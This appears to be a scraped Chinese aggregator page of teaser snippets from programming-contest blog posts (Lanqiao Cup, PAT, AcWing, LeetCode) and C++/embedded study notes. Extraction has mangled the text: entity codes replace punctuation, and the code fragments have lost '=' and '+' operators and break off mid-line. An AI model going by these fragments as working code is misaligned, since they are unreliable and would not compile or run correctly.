蓝桥杯

2024/4/11 13:01:56

【AcWing刷题】蓝桥杯专题突破-广度优先搜索-bfs(11)

目录 写在前面: 题目:844. 走迷宫 - AcWing题库 题目描述: 输入格式: 输出格式: 输入样例: 输出样例: 解题思路: 代码: AC !!&#xff…

Day1递归与递推--蓝桥杯学习笔记

目录 递推与递归的简单应用 例题:递归实现指数型枚举 例题:递归实现排列型枚举 Day1练习题 蓝桥杯2013年第四届真题--带分数 蓝桥杯往届试题:翻硬币 车厢重组(冒泡排序) 蓝桥杯2014年第五届真题:波…

第12届嵌入式蓝桥杯真题-停车场管理系统的设计与实现

目录 实验要求: 实验思路: 核心代码: (1)主函数 (2)lcd显示 (3)按键函数 (4)LED显示函数 (5)业务处理函数 &…

PAT乙级 1072 开学寄语

PAT乙级 1072 开学寄语 #include<iostream> #include<algorithm> #include<vector> #include<string> #include<map> #include<set> #include<bits/stdc.h>using namespace std;int main(void){int n0, n2, num, mar, counts0;cin&…

PAT甲级 1008 Elevator

依次执行的&#xff0c;不要考虑最优&#xff0c;而且存在相邻指令相同的情况可以看作重复press button这个时候要5 update202302 #include<iostream> using namespace std; int main(void) {int i, j, k, N, M, K, sum 0, pre;cin>>N;for(i 0; i < N; i) {…

PAT甲级 1010 Radix

进制数 #include<iostream> #include<algorithm> #include<vector> #include<string> #include<map> #include<set> #include<bits/stdc.h> using namespace std;long long todec10(string s, long long sum0){long long sum0, in…

PAT甲级 1089 Insert or Merge

update202302 归并排序不使用sort rot[z] < rot[z 1]&#xff0c;要加号&#xff0c;排序要注意&#xff0c;sort的第二个参数是后面的一个position&#xff0c;不是所处的position #include<iostream> #include<vector> #include<algorithm> #include…

PAT甲级 1122 Hamiltonian Cycle

update202302 哈密顿图&#xff08;哈密尔顿图&#xff09;&#xff08;英语&#xff1a;Hamiltonian graph&#xff0c;或Traceable graph&#xff09;是一个无向图&#xff0c;由文学家哈密顿提出&#xff0c;由指定的起点前往指定的终点&#xff0c;途中经过所有其他节点且…

翻译1.20Repairing a Road

原网址&#xff1a;Repairing a Road - C语言网 题目描述You live in a small town with R bidirectional roads connecting C crossings and you want to go from crossing 1 to crossing C as soon as possible. //你住在一个小镇&#xff0c;这个小镇有R条双向路连接着C个十…

Visual studio2019 配置使用pthread

一、下载pthread pthread的下网址 Index of /sites/sourceware.org/pub/pthreads-win32 下载pthread的最新版pthreads-w32-2-9-1-release.zip,然后解压&#xff0c;会得到如下三个文件夹&#xff1a; 二、配置pthread 1、右键项目&#xff0c;选择属性 2、在VC目录配置包含目录…

【从0到1冲刺蓝桥杯国赛】每日一练——最长递增子序列

最长递增子序列https://leetcode-cn.com/problems/longest-increasing-subsequence/ 题目描述&#xff1a; class Solution { public:int lengthOfLIS(vector<int>& nums) {int n (int)nums.size();if (n 0) {return 0;}vector<int> dp(n, 0);for (int i 0;…

HCIA 回 顾

要求 拓扑 地址划分 192.168.1.0/27 主干 192.168.1.32/27——R1环回 192.168.1.64/27——R2环回 192.168.1.96/27——R3 192.168.1.128/27——R4环回 192.168.1.160/27——R5环回 192.168.1.0/30——R1—R2 192.168.1.4/30——R1—R3 192.168.1.8/30——R2—R4 192…

备战蓝桥杯day15__DS1302基本应用

一&#xff0c;DS1302 DS1302是一种RTC&#xff08;实时时钟&#xff09;&#xff0c;通常称为时钟芯片 。 Vcc1&#xff0c;Vcc2&#xff1a;为供电引脚&#xff0c;Vcc1为备用电池引脚&#xff0c;Vcc2为主电源。 X1&#xff0c;X2&#xff1a;连接晶振。 CE&#xff1a;为…

蓝桥杯省一之路06——第十二届省赛真题第二场

一&#xff0c;代码部分 1&#xff0c;iic.c /*程序说明: IIC总线驱动程序软件环境: Keil uVision 4.10 硬件环境: CT107单片机综合实训平台 8051&#xff0c;12MHz日 期: 2011-8-9 */#include "reg52.h" #include "intrins.h"#define DELAY_TIME 5#d…

英语题目翻译——OJ_ 1388:Lake Counting

题目&#xff1a;1388:Lake Counting&#xff08;OpenJudge - 1388:Lake Counting&#xff09; 翻译&#xff1a; 对于最近的雨水&#xff0c;农民John的田地里的各个地方都有积水&#xff0c;用NM的矩形方块表示(1 < N < 100;1 < M < 100)。每个方块中要么是水(…

分享一个小巧的嵌入式日志模块(附代码

在产品研发的过程中&#xff0c;经常需要借助打印信息来帮助调试和后期维护。所以拥有一个完善的日志模块是至关重要的。 如下是从经手的项目中整理出来的日志模块及使用示例&#xff0c;以备后续项目开发时使用。 log.c #include <stdio.h> #include <stdlib.h>…

蓝桥杯2016初赛python题解

前言&#xff1a;除特殊说明外题解均可AC 蓝桥杯2016初赛[蓝桥杯2016初赛]网友年龄[蓝桥杯2016初赛]生日蜡烛[蓝桥杯2016初赛]方格填数[蓝桥杯2016初赛]寒假作业[蓝桥杯2016初赛]剪邮票[蓝桥杯2016初赛]四平方和[蓝桥杯2016初赛]密码脱落[蓝桥杯2016初赛]最大比例[蓝桥杯2016初…

蓝桥杯--黄金连分数

黄金连分数 题目描述 黄金分割数0.61803… 是个无理数&#xff0c;这个常数十分重要&#xff0c;在许多工程问题中会出现。有时需要把这个数字求得很精确。对于某些精密工程&#xff0c;常数的精度很重要。也许你听说过哈勃太空望远镜&#xff0c;它首次升空后就发现了一处人工…

【蓝桥杯大赛】简单回忆一下我的蓝桥杯比赛历程

努力是为了让自己不平庸前言/背景大赛简介参赛流程参赛经历经验心得资料分享❤️ 作者简介&#xff1a;大家好我是小鱼干儿♛是一个热爱编程、热爱算法的大三学生&#xff0c;蓝桥杯国赛二等奖获得者&#x1f41f; 个人主页 &#xff1a;https://blog.csdn.net/qq_52007481⭐ 个…

存在重复元素

给你一个整数数组 nums 和一个整数 k &#xff0c;判断数组中是否存在两个 不同的索引 i 和 j &#xff0c;满足 nums[i] nums[j] 且 abs(i - j) < k 。如果存在&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 来源&#xff1a;力扣&#xff08;LeetCod…

图(上)——DFS种子填充

ACM学习笔记-DAY10 前几篇文章了解了树和二叉树并掌握了BFS和DFS&#xff0c;在树中个体之间可以是前驱后继的顺序关系、也可以是祖先后代的层次关系。但是在日常生活中能编织成树的数据结构还是很少的&#xff0c;更为广泛的是网状关系——也就是图&#xff08;Graph&#xff…

2011蓝桥杯省赛真题 最小公倍数

最小公倍数&#xff0c;如果有一个自然数a能被自然数b整除&#xff0c;则称a为b的倍数&#xff0c;b为a的约数&#xff0c;对于两个整数来说&#xff0c;指该两数共有倍数中最小的一个。计算最小公倍数时&#xff0c;通常会借助最大公约数来辅助计算。 最小公倍数两数的乘积/最…

购买文具C++

Description 新学年就要开始了&#xff0c;爸爸把N元钱给了小青&#xff0c;让他购买一批文具&#xff0c;并作了以下要求&#xff1a;只能买圆珠笔、铅笔和铅笔芯&#xff0c;并且每样至少买一支&#xff0c;总数要超过30支&#xff0c;而且钱要全部花完。   当小青去到文…

蓝桥杯 数字三角形 dp

原题链接&#xff1a;蓝桥杯 数字三角形 对于题意中“向左下走的次数与向右下走的次数相差不能超过 1”的理解&#xff1a; 当n为奇数时&#xff0c;只有最后一行&#xff08;奇数个数&#xff09;的最中间一个数可以作为终点&#xff1b; 当n为偶数时&#xff0c;只有最…

右值引用...

右值引用 右值引用是 C11 引入的与 Lambda 表达式齐名的重要特性之一。它的引入解决了 C 中大量的历史遗留问题&#xff0c; 消除了诸如 std::vector、std::string 之类的额外开销&#xff0c; 也才使得函数对象容器 std::function 成为了可能。 左值、右值的纯右值、将亡值、…

c++11中的lock_guard和unique_lock使用区别

c11中的lock_guard和unique_lock使用浅析 锁 锁用来在多线程访问同一个资源时防止数据竞险&#xff0c;保证数据的一致性访问。 多线程本来就是为了提高效率和响应速度&#xff0c;但锁的使用又限制了多线程的并行执行&#xff0c;这会降低效率&#xff0c;但为了保证数据正确…

第 3 章 语言运行期的强化

3.1 Lambda 表达式 Lambda 表达式是现代 C 中最重要的特性之一&#xff0c;而 Lambda 表达式&#xff0c;实际上就是提供了一个类似匿名函数的特性&#xff0c; 而匿名函数则是在需要一个函数&#xff0c;但是又不想费力去命名一个函数的情况下去使用的。这样的场景其实有很多…

C++ 的 try/catch/throw

首先通过一个简单的例子来熟悉C 的 try/catch/throw(可根据单步调试来熟悉&#xff0c;try catch throw部分是如何运行的):复制代码 #include <stdlib.h> #include "iostream" using namespace std;double fuc(double x, double y) //定…

使用深拷贝来解决浅拷贝出现的问题

描述&#xff1a;系统提供默认的拷贝构造器,一经定义不再提供。但系统提供的默认拷贝 构造器是 等位拷贝,也就是通常意义上的浅拷贝。如果类中包含的数据元素全 部在栈上,浅拷贝 也可以满足需求的。但如果堆上的数据,则会发生多次析构行 为。 #include <iostream>using n…

C++ List详细使用实例

#include <iostream> #include <list> /* push_back(elem);/在容器尾部加入一个元素 pop_back();/删除容器中最后一个元素 push_front(elem);/在容器开头插入一个元素 pop_front0;/从容器开头移除第一个元素 insert(pos,elem);/在pos位置插elem元素的拷贝&#xff…

AcWing 831.KMP字符串

如何判断p&#xff08;模式串&#xff09;是否为s&#xff08;主串&#xff09;的子串&#xff1f; 朴素做法: 从头到尾依次遍历&#xff0c;然后每一次循环中从头开始对比&#xff0c;如果有不一致的就结束。 for(int i1;i<m;i)//主串&#xff0c;下标从1开始 {bool flag…

AcWing 835. Trie字符串统计

Trie树的作用是便于存储和查找字符串。 例如&#xff1a;依次插入字符串&#xff0c;abc&#xff0c;abd&#xff0c;bcd&#xff0c;cde。 这样就在trie树中插入了字符串&#xff0c;但我们如何区分哪些是插入的字符串&#xff0c;例如现在这样ab可能也是我们插入的字符串&am…

2016年第七届蓝桥杯省赛试题及详解(Java本科B组)

结果填空 (满分3分)结果填空 (满分5分)结果填空 (满分9分)代码填空 (满分11分)代码填空 (满分13分)结果填空 (满分15分)结果填空 (满分19分)程序设计&#xff08;满分21分&#xff09;程序设计&#xff08;满分23分&#xff09;程序设计&#xff08;满分31分&#xff09;第一题…

2018年第九届蓝桥杯省赛试题及详解(Java本科B组)

结果填空 (满分5分)结果填空 (满分7分)结果填空 (满分13分)结果填空 (满分17分)代码填空 (满分9分)程序设计&#xff08;满分11分&#xff09;程序设计&#xff08;满分19分&#xff09;程序设计&#xff08;满分21分&#xff09;程序设计&#xff08;满分23分&#xff09;程序…

2020年10月17日第十一届蓝桥杯第二场省赛试题及详解(Java本科B组)

结果填空 (满分5分)结果填空 (满分5分)结果填空 (满分10分)结果填空 (满分10分)结果填空 (满分15分)程序设计&#xff08;满分15分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&#xff08;满分25分&#xff09;程序…

【蓝桥杯】历年真题题目及题解汇总

省赛 A组 122021年04月18日第十二届蓝桥杯第一场省赛试题及详解&#xff08;Java本科A组&#xff09;2020年第十一届蓝桥杯省赛试题及详解&#xff08;Java本科A组&#xff09;2019年第十届蓝桥杯省赛试题及详解&#xff08;Java本科A组&#xff09;2018年第九届蓝桥杯省赛试…

2016年第七届蓝桥杯省赛试题及详解(Java本科A组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分3分)结果填空 (满分5分)结果填空 (满分9分)代码填空 (满分11分)代码填空 (满分13分)结果填空 (满分15分)结果填空 (满分19分)程序设计&#xff08;满分21分&#xff09;程序设计&#xff08;满分23分&#xff09;程序设计&…

2017年第八届蓝桥杯省赛试题及详解(Java本科A组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分5分)结果填空 (满分11分)结果填空 (满分13分)结果填空 (满分17分)代码填空 (满分7分)代码填空 (满分9分)程序设计&#xff08;满分19分&#xff09;程序设计&#xff08;满分21分&#xff09;程序设计&#xff08;满分23分&…

2018年第九届蓝桥杯省赛试题及详解(Java本科A组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分5分)结果填空 (满分7分)结果填空 (满分9分)结果填空 (满分13分)代码填空 (满分11分)程序设计&#xff08;满分17分&#xff09;程序设计&#xff08;满分19分&#xff09;程序设计&#xff08;满分21分&#xff09;程序设计&am…

2019年第十届蓝桥杯省赛试题及详解(Java本科A组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分5分)结果填空 (满分5分)结果填空 (满分10分)结果填空 (满分10分)结果填空 (满分15分)程序设计&#xff08;满分15分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&a…

2020年第十一届蓝桥杯省赛试题及详解(Java本科A组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分5分)结果填空 (满分5分)结果填空 (满分10分)结果填空 (满分10分)结果填空 (满分15分)程序设计&#xff08;满分15分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&#xff08;满分20分&#xff09;第一题: 门…

蓝桥杯每日一练——搜索插入位置(二分查找)

每一个不曾起舞的日子都是对生命的辜负。 ——尼采 题目 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 示例 1: 输入: nums [1,3,5,6], target …

AcWing 143.最大异或对

异或运算&#xff1a;二进制位&#xff0c;相同为0&#xff0c;不同为1. 例如&#xff1a;1001⊕11000101 朴素算法&#xff1a; 两层循环&#xff0c;一个个遍历都求一下值&#xff0c;最后算出最大的答案。 for(int i0;i<m;i) {for(int j0;j<i;j)//这里j<i&…

约数acwing

869. 试除法求约数 - AcWing题库 #include<iostream> #include<algorithm> #include<vector> using namespace std;vector<int> get_divisors(int n) {vector<int> res;for(int i1;i<n/i;i){if(n%i0) {res.push_back(i);if(i!n/i) res.push_b…

石子合并 dp+前缀和

状态计算&#xff1a;每次划分 从左边 合并 1 堆 直到合并 k - 1 堆&#xff08;右边要留一堆&#xff09;。 状态方程: 按 左边 k 来划分&#xff0c;把左边的合并成本右边的合并成本最后两堆合并的成本。 282. 石子合并 - AcWing题库 #include<iostream> using namespa…

整数划分 (完全背包问题)

解法一&#xff1a;完全背包思路解题 可以将它看成是取1~n的石头&#xff0c;每个石头不限个数&#xff0c;需要取总和恰好是 n. 即最终状态转移方程式是 f[i][j]f[i-1][j]f[i][j-i]。 900. 整数划分 - AcWing题库 //一维优化 和完全背包优化方式一样 这里不做过多赘述了 #inc…

C++笔记 STL 容器set和multiset 的区别

容器set和multiset和所有关联式容器类似&#xff0c;通常使用平衡二叉树完成。事实上&#xff0c;set和multiset通常以红黑树实作而成。 自动排序的优点是使得搜寻元素时具有良好的性能&#xff0c;具有对数时间复杂度。但是造成的一个缺点就是&#xff1a; 不能直接改变元素值…

快速排序 quick_sort

1、 确定分界点 x q[lr>>1] 2、 调整区间 左边的都<x&#xff0c;右边的都>x 3、 递归处理左右两段 AcWing 785. 快速排序 - AcWing #include<iostream> using namespace std; const int N1e610; int n,q[N];void quick_sort(int q[],int l,int r) {if(l&…

k倍区间 前缀和+记录余数数组

//当右端点r固定了之后 //(s[r]-s[l-1])%k0 其实只要 s[r]与s[l-1]的余数相同即可 //我们将l的范围改一下 0~r-1 即是s[r]与s[l]的余数相同即可 //cnt[s[i]%k]记录s[i]除k的余数 //可以通过枚举右端点 然后查找一下 余数相同的加上 之后 cnt[s[i]%k]即可 //注意点 cnt[0]1 0 可…

第十二届蓝桥杯省赛 B组 c++ 填空题解答

答案&#xff1a;67108864 #include<iostream> using namespace std;int main() {//1MB1024KB,1KB1024B,1B8bcout<<256*1024*1024/4<<endl;return 0; } 答案&#xff1a;3181 #include<iostream> using namespace std;int cnt[10];bool check(int x)…

2016年第七届蓝桥杯省赛试题及详解(Java高职高专C组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分3分)结果填空 (满分5分)结果填空 (满分9分)代码填空 (满分11分)代码填空 (满分13分)结果填空 (满分15分)结果填空 (满分19分)程序设计&#xff08;满分21分&#xff09;程序设计&#xff08;满分23分&#xff09;程序设计&…

2017年第八届蓝桥杯省赛试题及详解(Java高职高专C组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分3分)结果填空 (满分5分)结果填空 (满分9分)代码填空 (满分11分)代码填空 (满分13分)结果填空 (满分15分)结果填空 (满分19分)程序设计&#xff08;满分21分&#xff09;程序设计&#xff08;满分23分&#xff09;程序设计&…

2019年第十届蓝桥杯省赛试题及详解(Java高职高专C组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分5分)结果填空 (满分5分)结果填空 (满分10分)结果填空 (满分10分)结果填空 (满分15分)程序设计&#xff08;满分15分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&a…

2020年第十一届蓝桥杯省赛试题及详解(Java高职高专C组)

【蓝桥杯】历年真题题目及题解汇总 结果填空 (满分5分)结果填空 (满分5分)结果填空 (满分10分)结果填空 (满分10分)结果填空 (满分15分)程序设计&#xff08;满分15分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&#xff08;满分20分&#xff09;程序设计&a…

java 把List值放入map

list 的两个值 html , arr Map<String, Object> map new HashMap<>(); //定义 mapList<String> list new ArrayList<?>(); //定义 listlist.add("html"); //list 的值 htmlmap.put("arr",list); //arr 的值 html//这样就把 list…

870田忌赛马1519 NSUM_problem(leetcode题)

/** lc appleetcode.cn id870 langcpp** [870] 优势洗牌 参考别人写的*/ // lc codestart // nums1升序 // nums2降序 // nums2的最大值&#xff0c;若nums1最大值能胜过就输出&#xff0c;否则输出最小值 class Solution {//大的值在上面 topstruct cmp{bool operator()(const…

Leetcode-403.Frog Jump(青蛙跳石头)

package com.company;import org.junit.jupiter.api.Test;public class LeetCodeAll {/*有n块石头分别在x轴的0,1,...,n-1位置&#xff0c;一致青蛙在石头0&#xff0c;想跳到石头n-1&#xff0c;如果青蛙在第i块石头上&#xff0c;它最多可以向右跳距离ai&#xff0c;问青蛙能…

7-3 时间换算 (15 分)

7-3 时间换算 (15 分) 本题要求编写程序&#xff0c;以hh:mm:ss的格式输出某给定时间再过n秒后的时间值&#xff08;超过23:59:59就从0点开始计时&#xff09;。 输入格式&#xff1a; 输入在第一行中以hh:mm:ss的格式给出起始时间&#xff0c;第二行给出整秒数n&#xff08…

寒假程序翻译 1.19

https://acs.jxnu.edu.cn/problem/ICPCJX2020A A Simple Math Problem 1000ms 131072K 描述&#xff1a; Huanhuan challenges you to a simple math problem. &#xff08;欢欢对你提出了一个简单数学问题的挑战&#xff09; Define F(x)as the sum of the decimal digit…

寒假程序翻译1.24

https://acs.jxnu.edu.cn/contest/22/board/challenge/B Goldbachs Conjecture 描述&#xff1a; In 1742, Christian Goldbach, a German amateur mathematician, sent a letter to Leonhard Euler in which he made the following conjecture: Every even number great…

寒假程序翻译1.25

https://acs.jxnu.edu.cn/problem/HDU1018 Big Number 1000ms 32768K 描述&#xff1a; In many applications very large integers numbers are required. &#xff08;在很多应用里&#xff0c;大量的整数数字被要求。&#xff09; Some of these applications are us…

PAT乙级 1073 多选题常见计分法

使用了set和vector&#xff0c;要注意的主要是多选或者漏选都是算错误选项 #include<iostream> #include<algorithm> #include<vector> #include<string> #include<map> #include<set> #include<bits/stdc.h>using namespace std;i…

一篇文章学会滑动窗口(单调队列) 超详细解释

朴素做法&#xff1a; 就是两层循环 外层循环每一个数 内循环窗口内每一个值&#xff0c;这样的时间复杂度是O(nm); 这样我们就可以用 单调队列来优化 可将时间复杂度降为 O(n)。 举例 这是我们准备求的一个数组 红色是元素值 灰色是数组下标 154. 滑动窗口 - AcWing题库 #inc…

Lc9.回文数(java)

给你一个整数 x &#xff0c;如果 x 是一个回文整数&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 回文数是指正序&#xff08;从左向右&#xff09;和倒序&#xff08;从右向左&#xff09;读都是一样的整数。例如&#xff0c;121 是回文&#xff0c;而 …

蓝桥杯---猜年龄

题目标题: 猜年龄 美国数学家维纳(N.Wiener)智力早熟,11岁就上了大学。他曾在1935~1936年应邀来中国清华大学讲学。 一次,他参加某个重要会议,年轻的脸孔引人注目。于是有人询问他的年龄,他回答说: “我年龄的立方是个4位数。我年龄的4次方是个6位数。这10个数字正好包含了…

蓝桥杯---马虎的算式

马虎的算式小明是个急性子,上小学的时候经常把老师写在黑板上的题目抄错了。 有一次,老师出的题目是:36 x 495 = ? 他却给抄成了:396 x 45 = ? 但结果却很戏剧性,他的答案竟然是对的!! 因为 36 * 495 = 396 * 45 = 17820 类似这样的巧合情况可能还有很多,比如:27 * …

Mysql环境变量配置及中文版安装sqlyog

安装软件拿走不谢。MySQL和sqlyog压缩包内有教程 链接&#xff1a;https://pan.baidu.com/s/1MyU2a7aPucR3SPTMGhZA0w 提取码&#xff1a;mazs 为什么需要配置&#xff1f; 如果不配置环境变量&#xff0c;每次登录 MySQL 服务器时就必须进入到 MySQL 的 bin 目录下&#x…

一文搞懂 条件编译和预处理指令 #define、#undef、#ifdef、#ifndef、#if、#elif、#else、#endif、defined 详解

本文主要介绍c语言中条件编译相关的预编译指令&#xff0c;包括 #define、#undef、#ifdef、#ifndef、#if、#elif、#else、#endif、defined。 #define 定义一个预处理宏 #undef 取消宏的定义 #if 编译预处理中的条件命令&#xf…

洛谷 P2415 集合求和

题目描述 给定一个集合s&#xff08;集合元素数量<30&#xff09;&#xff0c;求出此集合所有子集元素之和。 输入格式 集合中的元素&#xff08;元素<1000&#xff09; 输出格式 和 思路分析&#xff1a; 一个元素&#xff1a; 1 两个元素&#xff1a; 1 2 1 2 三个…

蓝桥杯每日一练——Excel表中某个范围内的单元格

题目来自于leetcode双周赛 class Solution { public:vector<string> cellsInRange(string s) {int l1 s[0], l2 s[1], r1 s[3], r2 s[4];vector<string> res;for (int i l1; i < r1; i) {for (int j l2; j < r2; j) {string x "";x char(…

蓝桥杯每日一练——二叉搜索树的最近公共祖先

二叉搜索树的最近公共祖先https://leetcode-cn.com/problems/lowest-common-ancestor-of-a-binary-search-tree/ 题目描述&#xff1a; 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。 leetcode题解这个图画的不错&#xff0c;很容易理解 class Solution { pu…

备战蓝桥杯day13__存储器外部扩展应用

一&#xff0c;存储器拓展 前几片文章我们都是对IO口的设置实现功能&#xff0c;这样有一个缺点就是多次重复对IO口进行设置&#xff0c;比如使用不同的外界器件时需要不断对锁存器&#xff0c;IO口进行操作&#xff0c;会导致代码过于臃肿。存储器扩展技术可以理解为每个外界器…

寒假程序翻译1.28

https://acs.jxnu.edu.cn/problem/NOIOPJCH02072393 Going to the Movies 10000ms 1000K 描述&#xff1a; Farmer John is taking some of his cows to the movies! While his truck has a limited capacity of C (100 < C < 5000) kilograms, he wants to take the…

寒假程序翻译2.08

https://acs.jxnu.edu.cn/problem/NOIOPJENGLISH15 Sum is K 1000ms 65536K 描述&#xff1a; Given a sequence of N numbers. Find different numbers A and B in the sequence so that the sum of A and B equals to K. &#xff08;给定一行N个数字。找到在这行数字里…

光模块测试流程

光模块成品制作出来以后是要进行一套完整的测试流程&#xff0c;这个过程中所有的步骤都必须进行&#xff0c;所有的参数都必须达到要求&#xff0c;以保证光模块销售出去不会出现任何质量问题。以下是光模块制作完毕后测试的完整流程。 ①发光和收光测试 输出光功率是可…

【C语言程序】统计各数字出现的次数

题出自---------------------------------零基础学C语言 #include<stdio.h> int main() {int i;int a[10];int b[10] { 0 };for (i 0; i < 10; i)scanf_s("%d", &a[i]);for (i 0; i < 10; i)b[a[i]];for (i 0; i < 10; i)printf("%d出现…

【C语言程序】在银行取款,需要用户输入密码,在密码输入正确后才能取款,正确密码为574824(strcmp()函数判断密码一致性)

题出自-------------------------零基础学C语言 #include<stdio.h> #include<string.h> int main() {char answer[20] { "574824" };char user[20];puts("请输入取款密码&#xff1a;");gets_s(user);while (strcmp(user, answer) ! 0){puts…

【C语言程序】英语老师要求学生用how造句,要求句子长度不得少于3且不得多于30,才算造句成功,否则输出造句失败(strlen()函数测量字符串长度)

题出自--------------------------零基础学C语言 #include<stdio.h> #include<string.h> int main() {char student[50];puts("英语老师要求造句&#xff1a;");puts("请输入你的造句&#xff1a;");gets_s(student);while (strlen(student) …

蓝桥杯 2017 决赛 发现环 (求环内的点)

历届试题 发现环 时间限制&#xff1a;1.0s 内存限制&#xff1a;256.0MB问题描述小明的实验室有N台电脑&#xff0c;编号1~N。原本这N台电脑之间有N-1条数据链接相连&#xff0c;恰好构成一个树形网络。在树形网络上&#xff0c;任意两台电脑之间有唯一的路径相连。不过在最…

字典序最小问题 Best Cow Line(挑战程序设计竞赛)

给定一个字符 SS&#xff0c;长度为 NN。由 SS 构成出新的字符串 TT&#xff0c;长度也为 NN。 起初 TT 是一个空串&#xff0c;然后执行 NN 次操作&#xff0c;每次操作有两种选择&#xff1a; 从 SS 头部删除一个字符&#xff0c;加到 TT 的尾部从 SS 尾部删除一个字符&…

萨鲁曼的军队 Saruman‘s Army(挑战程序设计竞赛)

直线上有 NN 个点&#xff0c;点 ii 的位置是 x_ixi​&#xff08;多个点可以在同一个位置&#xff09;。 可以在 NN 个点中选择某些点打上标记。 要求最终&#xff0c;每个点&#xff0c;距离其 RR 范围内必须有带有标记的点&#xff08;自己本身带有标记的点&#xff0c;可…

选数异或2022年蓝桥杯

题目 给定一个长度为 n 的数列 A1,A2,,An 和一个非负整数 x&#xff0c;给定 m 次查询&#xff0c;每次询问能否从某个区间 [l,r] 中选择两个下标不同的数使得他们的异或等于 x。 输入格式 输入的第一行包含三个整数 n,m,x。 第二行包含 n 个整数 A1,A2,,An。 接下来 m 行&am…

UVA - 10037

别人写的题解&#xff1a;https://blog.csdn.net/qq_42505741/article/details/84852078 做这道题应该要有个感觉&#xff0c;是有个迭代或规律的。没思路时可以枚举一下&#xff0c;应该枚举到n4就可以得出个思路了。 #include<cstdio> #include<iostream> #incl…

备战蓝桥杯day12__串口通信进阶应用

一&#xff0c;程序设计的思路与框架 在上一个程序中我们实现了向上位机发送的都是为单个字符&#xff0c;这次需要向单片机发送一个字符串。需要建立一个发送字符串的函数。将字符串分成当个字符&#xff0c;使用发送单个字节的函数进行发送。 在接收上位机指令的处理是这道…

蓝桥杯省一之路03——第十三届省赛真题

一&#xff0c;代码部分 1.ds1302 #include "ds1302.h" //写字节 void Write_Ds1302(unsigned char temp) {unsigned char i;for (i0;i<8;i) { SCK 0;SDA temp&0x01;temp>>1; SCK1;} } //向DS1302寄存器写入数据 void Write_Ds1…

蓝桥杯省一之路02——第八届省赛真题——电子钟

1,ds18b20.c #include "reg52.h" #include "onewire.h"void Conv_18B20()//开启温度转化 {init_ds18b20();Write_DS18B20(0xcc);Write_DS18B20(0x44); } float Read_18B20() {unsigned char LSB;unsigned char MSB;int t;float T;init_ds18b20();Write_DS…

tar 排除指定的目录 ,或者指定文件类型

test |-- out | -- readme |-- out1 | -- out | -- test1out1out |-- out2 -- test -- out -- test.out 目录结构 如上&#xff0c;如果不想打包根目录下test/out下的文件夹 命令如下 tar zcvf --excludetest/out test/useruser-Z370-HD3:~/sermux$…

【第十二届蓝桥杯】【第二场】【C++B组】【学习笔记】蓝桥杯每日一练day2

汪汪汪&#xff0c;不如第一场麻 &#x1f604; &#xff0c;day2 &#x1f917;题目列表A、求余&#xff08;5分&#xff09;B、双阶乘&#xff08;5分&#xff09;C、格点(10分)D、整数分解&#xff08;10分&#xff09;E、城邦&#xff08;15分&#xff09;F、特殊年份&…

【第十一届蓝桥杯真题】【省赛】【第二场】【C++B组】【学习笔记】蓝桥杯每日一练day3

今天课多&#xff0c;明天细补 A、门牌制作&#xff08;5分&#xff09; 门牌制作 - 蓝桥云课 (lanqiao.cn) 直接暴力了 #include <iostream> #include<cstring> using namespace std; string s; int main() {for(int i 1 ; i < 2020 ; i)s to_string(i);in…

【第十届蓝桥杯真题】【省赛】【C++B组】【学习笔记】蓝桥杯每日一练day5

&#x1f917;&#x1f917;&#x1f917;&#x1f917;&#x1f917;&#x1f917;&#x1f917;&#xff0c;今天也是麻麻的一天捏 &#x1f917;A、组队&#xff08;5分&#xff09;B、年号字串&#xff08;5分&#xff09;C、 数列求值&#xff08;10分&#xff09;D、数的…

java每日一题Lc189. 轮转数组

给你一个数组&#xff0c;将数组中的元素向右轮转 k 个位置&#xff0c;其中 k 是非负数。 示例 1: 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1,2,3,4,5,6] 向右轮转 2 步: [6,7,1,2,3,4,5] 向右轮转 3 步: [5,6,7,1,2,3,4] 示例 2:…

【从0到1冲刺蓝桥杯国赛】每日一练——最后一块石头的重量Ⅱ

题目链接 力扣https://leetcode-cn.com/problems/last-stone-weight-ii/ 题目描述 题目分析 这道题目其实是01背包的一个变形&#xff0c;做过分割等和子集的话就很容易想到&#xff0c;解法几乎完全一样&#xff0c;就多了一个差值比较而已&#xff0c;大家可以看看下面这…

英语题目翻译—— 917:Knight Moves

题目&#xff1a;917:Knight Moves&#xff08;OpenJudge - 917:Knight Moves&#xff09; 翻译&#xff1a; 背景 传说中的象棋玩家Somurolov先生断言&#xff0c;除了他&#xff0c;没有人能像他一样迅速地将骑士从一个位置移动到另一个位置。你能打败他吗? 问题 你的任务是…

蓝桥杯——算法训练——P0702

在C语言中&#xff0c;有一个strcmp函数&#xff0c;其功能是比较两个字符串s1和s2。请编写一个你自己的字符串比较函数my_strcmp&#xff0c;来实现strcmp函数的类似功能。如果s1s2&#xff0c;则返回0&#xff1b;否则返回s1 与s2 第一个不同字符的差值&#xff08;如果s1<…

Java - 977. 有序数组的平方 - 进阶O(n)复杂度

一、题目 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&#xff1a;平方后&#xff0c;数组变为 [16,1,0,9,…

蓝桥杯每日一练——二叉树的前序遍历

